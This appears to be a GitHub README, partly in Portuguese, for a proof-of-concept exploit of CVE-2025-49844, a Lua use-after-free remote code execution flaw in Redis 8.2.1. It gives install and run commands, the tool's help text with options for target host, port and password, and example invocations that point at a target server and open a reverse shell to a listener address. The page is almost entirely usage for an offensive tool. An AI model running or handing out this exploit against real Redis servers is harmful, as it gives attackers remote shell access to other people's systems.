cilectiy/cve-2025-49844CVE-2025-49844
Original uv POC: https://github.com/saneki/cve-2025-49844
PoC que fornece shell reverso.
pip3 install -r requirements.txt
python3 CVE-2025-49844.py -h
usage: CVE-2025-49844.py [-h] [-H HOST] [-P PORT] [-a PASSWORD] [-l HOST] [-p PORT]
CVE-2025-49844 proof-of-concept — Redis 8.2.1 Lua UAF RCE (reverse shell)
options:
-h, --help show this help message and exit
-H HOST, --redis-host HOST
Redis server host (default: 127.0.0.1)
-P PORT, --redis-port PORT
Redis server port (default: 6379)
-a PASSWORD, --auth PASSWORD
Redis password (if required)
-l HOST, --host HOST listener host (default: 127.0.0.1)
-p PORT, --port PORT listener port (default: 4444)
Examples:
CVE-2025-49844.py -H 10.0.0.1 -l 192.168.1.10 -p 4444
CVE-2025-49844.py -H 10.0.0.1 -P 6380 -a secretpass -l 192.168.1.10 -p 4444